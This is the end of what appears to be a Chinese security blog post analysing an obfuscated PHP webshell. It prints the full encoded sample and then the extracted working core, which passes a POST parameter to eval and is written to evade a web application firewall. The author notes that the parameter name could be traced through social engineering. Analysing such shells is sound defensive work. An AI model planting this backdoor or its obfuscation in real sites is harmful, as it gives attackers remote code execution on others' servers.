"lCkBxyqmQWAaziVrvYPMnhEbNJFZotHIdfcSOKgGDjUwTLsueRpXFmvxEgKpMwCBbhDOWGanrkfVAUYQuqePZoJNzdiTLsRSjlItycHXaL9SBeCiab4=" ;?> <?php ?> <?php define ('uoCLQnySpGOesqNTvPZmEFbhlxcRIgAjVkYJfWzirXwtUBaMHKdD0209' , lkDwreIpUtyOiuvSVCZTJYLEQNMWPaAshFcoxGbHfBmXdgqKRjnz0209);$CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$SEMyzkgYPvufheRQHBlTqjDLnwNOGJAIcoWxbZCdVaKXUsrtFmpi = $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [3 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [6 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [33 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [30 ];$vozMeQHSLuPIjXJmkFOnURKGiCaZDWNdBcyErglsqbfYtTxhwAVp = $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [33 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [10 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [24 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [10 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [24 ];$qPxVFpDGfRJcZdlLBovUMwWhiIaeAQjNSKsYymzOrbCXutHTEkng = $vozMeQHSLuPIjXJmkFOnURKGiCaZDWNdBcyErglsqbfYtTxhwAVp [0 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [18 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [3 ] . $vozMeQHSLuPIjXJmkFOnURKGiCaZDWNdBcyErglsqbfYtTxhwAVp [0 ] . $vozMeQHSLuPIjXJmkFOnURKGiCaZDWNdBcyErglsqbfYtTxhwAVp [1 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [24 ];$cJXIhmuKbBEwxCRPsOraiopQjyvDqVtgYFGTNlMLdkHWenfZzSAU = $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [7 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [13 ];$SEMyzkgYPvufheRQHBlTqjDLnwNOGJAIcoWxbZCdVaKXUsrtFmpi .= $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [22 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [36 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [29 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [26 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [30 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [32 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [35 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [26 ] . $CLMfEliasjTAOPnhJQqUgKuVGDwSyoFHeRxbcWkXpvmZYtzrBdIN [30 ];$DMxquRQyJeosinKFbvlTrjmgXcwtpkHPOGzdZAhSEVaILCfNBYWU = "idsoLMvEgDNkAjIXPVpqTSFbtzWRxuJBeHOCrZYmQclGKwayUhnfgJSyWKekjItNXarMiUQmsubCBdfRPHFclAvpEzTDOxqhLoZwYVnGiI9oZAXjznUHT3RQC24jJhUdJpjNTuq7ZfTjLhUBxAR5LpRVLuq7Fhk9rDUaZh8jFwTaKdj0tsX7FgKwvIx3vsSDrdrwtajPvwTaKaYdKsj7FgKwtskdKISnvwr7rA1XzMzVCpjNTuN7GYc0zMt0LpRGYk9sUbSnZAVPvsNPKak3F10Qvd8+" ;?> <?php function test ($a ) { if (empty ($a )) { $a = "echo '防火墙拦截';" ; } @eval ($a ); } @test ($_POST ['hxq991217' ]);?>
有用的只有这个:
1 2 3 4 5 6 7 8 9 10
<?php function test ($a ) { if (empty ($a )) { $a = "echo '防火墙拦截;';" ; } @eval ($a ); } @test ($_POST ['hxq991217' ]);?>
为了过 waf 真的是什么写法都有(摊手
最后,对 hxq991217
进行社工可以找到一些信息,是不是这个人就不知道了
- By:tr0y.wang
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